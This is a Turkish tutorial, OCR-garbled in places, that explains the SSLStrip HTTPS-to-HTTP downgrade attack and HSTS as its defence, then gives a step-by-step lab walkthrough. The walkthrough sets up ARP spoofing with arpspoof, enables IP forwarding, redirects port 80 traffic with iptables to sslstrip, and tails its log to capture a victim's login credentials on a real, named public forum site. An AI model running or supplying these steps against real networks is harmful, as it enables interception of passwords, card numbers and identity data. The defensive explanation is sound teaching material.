SSLStrip Saldirisi Nedir ve Nasil Uygulanir
a. SSLStrip Nedir

SSLStrip, diger adiyla HTTPS-den-Http-ye-Indirgeme kullanicilarin web uygulamasim https
tizerinden kullanmasi gerekirken http iizerinden kullanmasina sebep olan bir saldir tiiriidiir. Saldir
kabaca yerel agdaki bir kullanici ile web sunucu arasina yerel agdaki saldirganin MITM (araya
giren adam saldirisi) yaparak girmesiyle gerceklesir.

Normalde kullanicilar bir web sitesine baglanmak istediklerinde genellikle adres cubuguna web
sitesinin adresini https én ekini eklemeden dogrudan girerler. Orn; deneme.com, www.deneme.com
gibi. Bunun sonucunda aradaki adam kullanicinin baglanti talebini alir, https yapar ve ilgili web
sunucuya dyle gonderir. Saldirgan bu sirada kullanicinin paketini sifresiz aldigindan icindeki
bilgileri okuyabilirdir. Saldirgan aldig1 baglanti paketini sunucuya https yaparak gonderdikten sonra
sunucu https olarak yanit1 saldirgana gonderir. Saldirgan gelen https yanitin http yaparak
kullaniciya gonderir ve bdylece kullanici halen http tizerinden web uygulamasini kullanir durumda
kalir. Saldirgan kullanicidan gelen her http paketini okur, https yapar ve web sunucuya gonderir.
Web sunucudan gelen her https yanitini ise http yapar ve kurbana gonderir. Web sunucusu
saldirganla arasinda olan https trafigi dolayisiyla bir problem gérmez ve bunun sonucunda saldirgan
kullanicidan gelen her http paketini okuyarak kullanici adi & sifre, banka kart numarasi & son
kullanim tarihi & CVV kodu ve TC Kimlik numarasi gibi web sitenin sundugu hizmete gore bircok
kritik bilgilere sahip olabilir hale gelir.

SSLStrip arac1 teknik olarak yerel agda aradaki adamin kurban http tizerinden web sitesine
erismeye calistiginda http talep paketi icerisindeki css, js, img gibi kaynaklarin http to https
dontigiimlerini, sonra web sunucudan gelen https yanit paketi icerisindeki css, js, img gibi
kaynaklarin https to http doniigiimlerini hallediyor ve kurban ekranina http erisimde https web siteyi
sunuyor. Arada kurbandan web sunucuya dogru gidip gelen trafikte proxy oluyor ve trafikte
diizenleme islemi uyguluyor.

Bu saldirinin gerceklesmesini 6nlemek icin web sunucusunu sadece HTTPS kullanacak sekilde
yapilandirmak yetmemektedir. Ciinkii zaten iletisim 6nceki senaryoda bahsedildigi gibi yerel agda
aradaki adam olan saldirgan ve web sunucu arasinda HTTPS iizerinden gerceklesmektedir. Sekil
1'de saldirinin calisma sekli gosterilmistir.
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Kurban Saldirgan (SSLStrip aracini kullaniyor) Web Sunucu
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Sekil 1. Saldirinin Diyagrami

Burada kullanictyr HTTPS-den-HTTP-ye-indirgeme saldirisindan korumak igin kullamci
tarayicilarini, http olarak adres cubuguna girilen web uygulama adreslerini https olarak diizeltmeye
ve o sekilde baglanti talebinde bulunmaya zorlamak gerekir. Boylelikle yerel agda kullanic1 ve web
sunucu arasina giren saldirgan kullanicidan gelen https baglant: talebini sifreli olarak alacagindan
kullanici verilerini géremez, elde edemez ve degistiremez.



SSLStrip (HTTPS-to-HTTP-Downgrading) saldirilar1 hem HTTP ve HTTPS'i beraber kullanan web
uygulamalarini hem de sadece HTTPS kullanan web uygulamalarini etkileyen bir saldir tiiriidiir.
Ciinki bu saldin tiirii web sunucunun davranisina (sundugu hizmete) gore (yani http ve https'i
beraber kullanmasina ya da yalnizca https kullanmasina gore) degisen bir saldir tiirii degildir. Bu
saldin tiirii istemcinin davranisina gore degisen bir saldin tiirtidiir. Eger istemci HTTPS yerine
HTTP iizerinden baglanti talebinde bulunursa web sunucu ister sadece HTTPS kullansin ister HTTP
ve HTTPS'i beraber kullansin aradaki saldirgan aldig1 paketi https yaparak gondereceginden web
sunucu tarafinda fark eden bir sey olmayacaktir ve saldirgan, kullanicidan paketleri http olarak
alarak saldirisim siirdiirebilecektir. Teknik olarak sadece HTTPS kullanan web uygulamalart HTTP
ve HTTPS'i birlikte kullanan web uygulamalarina gore daha az risk altindadirlar. Ciinkii sadece
HTTPS kullanan web uygulamalarinda sadece ilk istegin http tizerinden olmasi ihtimali s6z
konusudur. Ancak bu, SSLStrip ad1 verilen saldir1 yontemine karsi sadece HTTPS kullanan web
uygulamalarini yine de savunmasiz kilar.

Sanilanin aksine sadece sunucu tarafta https yonlendirmesi yetmez, istemci tarafta da https
yonlendirmesi sarttir. Aksi takdirde araya giren saldirganlar yanhslikla gelen http taleplerini sslstrip
gibi araclarla avlayabilirler ve kullanicilari http iizerinden haberlestirerek trafiklerindeki hassas
bilgileri elde edebilirler. Bu nedenle kullanic1 web tarayicilarina HTTPS kullanan web
uygulamasina HTTP {izerinden baglanma girisimlerinde HTTPS iizerinden baglan direktifi (HSTS
yanit baglig1) verilmesi gerekmektedir.

Ozetle; sslstrip seffaf bir sekilde yerel agdaki http trafigini ele geciren ve http trafigindeki https link
eslemelerini ve sonra tam tersini uygulayan bir saldir teknigidir. Trafikteki http://’leri https yapan
ve sonra kendi baglattig1 https://’leri http yapan bir saldir teknigidir.



b. Uygulama

(+) Birebir denenmistir ve basariyla uygulanmistir.

Gereksinimler
Kali 2019.3 VM // Saldirgan [Sanal Makine]
Ubuntu 18.04 LTS // Kurban [Ana Makine]

Bu uygulamada Kali sanal makinesinden ubuntu 18.04 lts ana makinesine araya giren adam saldirisi
uygulanacaktir ve araya girme sonrasi sslstrip araci ¢alistirilacaktir. Bu sekilde kurban trafigini
izerinden geciren saldirgan kurbanin erismeye calistig1 https sitelere http ile talep ettigi durumlarda
web uygulamay: http tizerinden kullandiracaktir. Dolayisiyla kurbanin hassas verileri sslstrip
aracinin log’larina diisecektir.

Kali 2019.3 sanal makinesinde saldir1 icin 6ncelikle gerekli materyal kurulum hazirhig: yapilmalidir.
Kali 2019.3 Terminal:

> apt-get install dsniff (Arpspoof tool’u i¢in bu paket yiiklemesi yapilir)
> apt-get install sslstrip

Ardindan sslstrip’e karsi 6nlem almamis (yanit basliklarinda hsts kullanmayan) bir web sitesi
kurban makinadan erismek icin belirlenmelidir. Béylece kurban makina ilgili web adrese eristiginde
sslstrip saldiris1 calisacaktir ve esasinda https olan web adrese http ile erigileceginden hassas veriler
toplanabilir olacaktir. Google aramalarinda rastgele olarak secilen forum.strategyturk.com adresi
saldirinin tetiklenmesi icin ziyaret edilecektir.

Saldir1 adimlar su sekildedir:

- Arp Spoofing ile araya gir.
- Aradayken SSLStrip aracini ¢alistir.
- SSLStrip log’larim hassas veri diismesi igin izle.

Adim adim saldirty1 uygulayalim.

i) Kali saldir1 makinesinde yerelde araya girebilmek icin ethernet arayiizleri listelenir ve birden
fazla arayiiz varsa sadece aktif bir adet arayiiz birakilir.

Kali 2019.3 Terminal:
> ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.39 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::a00:27ff:fe93:b22c prefixlen 64 scopeid 0x20<link>
ether 08:00:27:93:b2:2c txqueuelen 1000 (Ethernet)

RX packets 24064 bytes 15574035 (14.8 MiB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 31336 bytes 8435655 (8.0 MiB)

TX errors 0 dropped 0 overruns 0 carrier O collisions 0



Bir adet aktif internet kullanan ethernet arayiizii oldugundan
> ifdown eth1
gibi bir deaktif etme islemi yapilmas1 gerekmemekte.

ii) Kali saldir1 makinesinde yerelde araya girebilmek icin yerel agin router ip’si ve kurbanin ip’si
elde edilir.

Kali 2019.3 Terminal:
> route -n

Kernel IP routing table

Destination ~ Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.0.1 0.0.0.0 uG 100 O 0 ethO
192.168.0.0 0.0.0.0 255.255.255.0 U 100 O 0 eth0

Router IP’si 192.168.0.1 seklindedir. Kurban IP’sinin ise bir sekilde alindig1 varsayilir (veya tim
aga araya giren adam ve sslstrip saldiris1 uygulanabilir). Kurban IP’si: 192.168.0.15

iii) Kali saldir1 makinesiyle yerel agda araya girilir ve kurban makine olan ubuntu 18.04 lts’nin
trafigi kali saldir1 makinesinin tizerinden gegirilir.

Kali 2019.3 Terminal:

# Forward Moda Geg
> echo 1 > /proc/sys/net/ipv4/ip_forward

# Arp Zehirlemeyi Baslat
> arpspoof -i ethQ -t 192.168.0.15 192.168.0.1
(Kurban IP) (Router IP)

> arpspoof -i ethO -t 192.168.0.1 192.168.0.15
(Router IP) (Kurban IP)

Artik kurban olan ubuntu 18.04 Its ana makinenin trafigi kali saldir1 makinesi {izerinden router’a
gidip gelmektedir.

iv) Kali saldir1 makinesinde iptables firewall kural girilir ve kurban makina ubuntu 18.04 Its’den
gelen trafikte hedef olarak 80 portuna giden paketler kali’nin port 10000’nine yonlensin yapilir. Bu
sekilde 80 portuna giden,yani “http” olan paketler port 10000’e yonlenecektir. Bu kural kali saldir1
makinasinda calistirilacak sslstrip icindir. Kurban makinadan gelen trafikte kuralda belirtilen
paketleri (http paketleri) sslstrip proxy gibi alacaktir ve aldig1 http paketlerde upgrade to https,
downgrade to http’ler ile iizerinde giincellemeler yapip forward’lama yapacaktir.

Kali 2019.3 Terminal:

> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports
10000



v) Kali saldir1 makinesinde sslstrip arac1 10000 portunu dinler halde calistirilir. Béylece sslstrip
araci port 10000’e gelen paketlerde diizenlemeler yapabilir.

Kali 2019.3 Terminal:

> sslstrip -1 10000

Giku:

Sslstrip 0.9 by Moxie Marlinspike running...

vi) Kali saldinn makinesinde sslstrip aracinin log’lar izlemeye alinir. Kurban makineden sslstrip
onlemi alinmamis web sitelere gidildiginde web sitelere girilen hassas veriler sslstrip’in log’una
diisecektir.

Kali 2019.3 Terminal:

> tail -n 50 -f sslstrip.log // Bu log dosyasi sslstrip’in baglatildigi
// dizinde otomatik olusur.

vii) Bu adimlar neticesinde saldir1 islemi tamamlanir. $imdi kurban makinadan sslstrip 6nlemi
almamus https web sitelere ziyaret edilmesi ve hassas veri girilmesi beklenecektir. Kurban ubuntu
18.04 Its ana makinede sslstrip 6nlemi almamuis https web sitesi ziyaret edilir: forum.strategyturk.
com. Hataen yalin sekilde adrese gidildiginden, yani http’li gidildigi icin aradaki adam paketleri
alirken firewall kurali ile bu paketleri kendi makinasinin port 10000’inine gonderir. SSLStrip araci
ise port 10000’i dinlediginden bu paketleri alir ve paketlerde https’e yiikseltme diizenlemesi yapip
forward’lar. Ardindan paketler karsidan gelirken http’ye indirgeme yapar ve kurbana forward’lar.
Kurbanin web site erisimi http kalir. Aradaki adam saldirgan ile ilgili web sunucu arasi ise https
olur.

Ubuntu 18.04 LTS Ana Makina:
forum.strategyturk.com
veya

http://forum.strategyturk.com
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Not:

Normalde hedef web sitesine erisim islemi saldir1 6ncesi web sitede https yonlendirme
oldugundan otomatikmen su sekilde giivenlidir.
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Ancak saldir aktifken hataen http’li gidildiginde aradaki makinada sslstrip saldirisi
tetikleniyor ve baglant1 http’de birakiliyor.
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Kurbanin bilgileri bu sekilde aradaki adam kali saldir1 makinesince normalde https olan web
site i¢in toplanabilir oluyor.

Ek not: Saldir aktifken elle adres cubuguna https yazildiginda saldir atlatilmakta, ¢linkii
aradaki adam paketi sifreli alacagindan okuyamayacaktir ve diizenleme yapamayacaktir.

vii) Kurban http tizerinden kullandig1 https olan forum.strategyturk.com sitesine kullanici hesap
bilgilerini girdiginde bu bilgi aradaki kali saldir1 makinesinde sslstrip log’larina diigsecektir.



Activities @ Chromium Web Browser ~ Cts 10:14 0
Strategyturk Forumlari - Chromium

st Strategyturk Forumlari  x sslstrip | Penetration Tes! GitHub - moxie0/ssistrip:  x SIBER GUVENLIKENSTIT! x | @ Ubuntu P

Bl < 5 C 0 4 Notsecre | foumstrategyturkcom

# Apps % isGiclGirisi @ JiralsGici % ConfluenceSGE @ Logintobya @ USVNSGE ) UCROWDSGE & SanalSiber Gii... @ SiberLab3SGE L3 OpenstackGe... {4 SGEUdemy M miizik

Q

FORUM UYELER ARA LEJYON GUNCEL
Topluuk Gye Listesi Forumda Ara Destek istemi Soniletier

—— iy,
b ”
)R-“A‘“”/‘l -

Reklamsiz bir bigimde Strate:
Ana Forumlar i i " kullanm:

- Kullanict Adr
-~ aty k e
[P .

S Forum ici duyurular, haberler, etkinlikler ve daha fazl

Sifreniz
588 Konu 10,780 lleti

GirigYap M Beni Hatirla

Genel Forumlar

Strategyturk
. 15 B begenme
1,071 Konu 13,028 lleti

Activities @ Chromium Web Browser ~ cts10:14e

B Strategyturk Forumlar - Chromium
st strategyturk Forumlar x| EEEEEEUI LR

SIBER GUVENLIKENSTIT. x | @ Ubuntu Pastebin x | @ strategyturk-Go

9 K3 C 0 A Notsecure | forumstrategyturkcom

Apps R isGlciGirisi & JiraisGici % ConfluencesGE & Logintobya @ USVNSGE ) UCROWDSGE & SanalSiberGi... & SiberLab3sGE 3 OpenstackGe... {4 SGEUdemy B mizik

Strategyturk'e Hos Geldiniz . KulaniciAdim1
|| —

v

Girig Sifremi Unuttum?

( Kurban Makinada ilgili Web Adreste Kullanic1 Hesap Bilgileri Girilir )
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(Aradaki Kali Saldir1 Makinasinda SSLStrip Log’larina Kurbanin Kullanic1 Hesap Bilgileri Diiser )

Boylece sslstrip saldirisi aktifken kurbanin http olarak kullandigi https sitedeki veriler aradaki adam
tarafindan elde edilir.

Bu saldir1 HSTS yanit baghgi kullanmayan tiim https web sitelerinde kullanilabilirdir. Saldirinin
gerceklesebilmesi icin kullanicilarin web site adini protokol belirtmeden neredeyse her zaman
yaptiklan gibi dogrudan adres ¢ubuguna girmeleri (6rn; adres cubuguna forum.deneme.com gibi
yalin halde girmeleri) veya cesitli web sayfalarinda iceriklerdeki http:// olarak sunulan https
sitelerin linklerine tiklamalar1 gerekir.

[!] Uyar:
SSLStrip araci bazi web uygulamalarda web uygulamalarin bazi fonksiyonlarinin bozuk

calismasina, crash olmasina sebep olabilmekte ve kurban o sekilde web uygulamayi bazi
fonksiyonlar1 bozuk igleve sahip sekilde kullanir olabilmekte.
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